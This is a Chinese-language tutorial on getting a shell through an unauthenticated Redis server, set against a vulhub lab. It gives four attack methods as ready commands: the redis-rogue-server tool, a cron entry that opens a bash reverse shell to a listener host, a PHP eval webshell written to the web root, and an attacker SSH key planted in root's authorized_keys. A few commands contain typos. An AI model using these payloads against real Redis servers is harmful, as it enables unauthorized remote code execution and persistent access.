redis getshell得方式
搭建环境
1.下载vulhub到靶机中
2.进⼊⽬录:cd /vulhub-master/redis/4-unacc
3.启动:docker-compose up -d
4.检查:docker ps

方式一
1.再攻击的kali机器上安装redis程序进⾏服务的链接
2.安装redis
apt-get install redis

3.redis链接
redis-cli -h 124.221.58.83 -p 6379

4.下载以下攻击项⽬
https://github.com/n0b0dyCN/redis-rogue-server
5.使⽤⼯具执⾏以下命令获取⽬标的命令执⾏环境,交互时输⼊ i 键会获取 Shell环境
python3 redis-rogue-server.py --rhost 靶机IP --lhost 靶机IP
方式二
1.连接靶机
redis-cli -h 靶机IP
info
2. 写入反弹 shell 文件
config set dir /var/tmp //设置备份路径,这里就是设置定时任务的文件夹
config set dbfilename root //设置备份文件名
set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"
//设置内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/.........
save //保存
3.开启kali的nc监听即可
方式三
1.依旧是进行连接靶机
redis-cli -h 靶机IP
info
2.接下来写入一句话木马,绝对路劲要靠自己猜测,或者使用dirsearch 扫描出来的 phpinfo 文件进行获取
config set dir /var/www/html
config set dirfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save
3.然后使用webshell工具进行连接即可
方式四
1.如果运行 Redis的用户是 root 用户,我们可以将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,就可以无需密码直接登录目标服务器。
ssh-keygen -t rsa
2.然后将生成的公钥写入foo.txt里面
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txtcat /tmp/foo.txt
3.用redis-cli -h ip命令连接靶机
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey
redis-ccli -h 10.1.1.200 -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys" save
4.设置好之后就可以使用ssh工具直接进行连接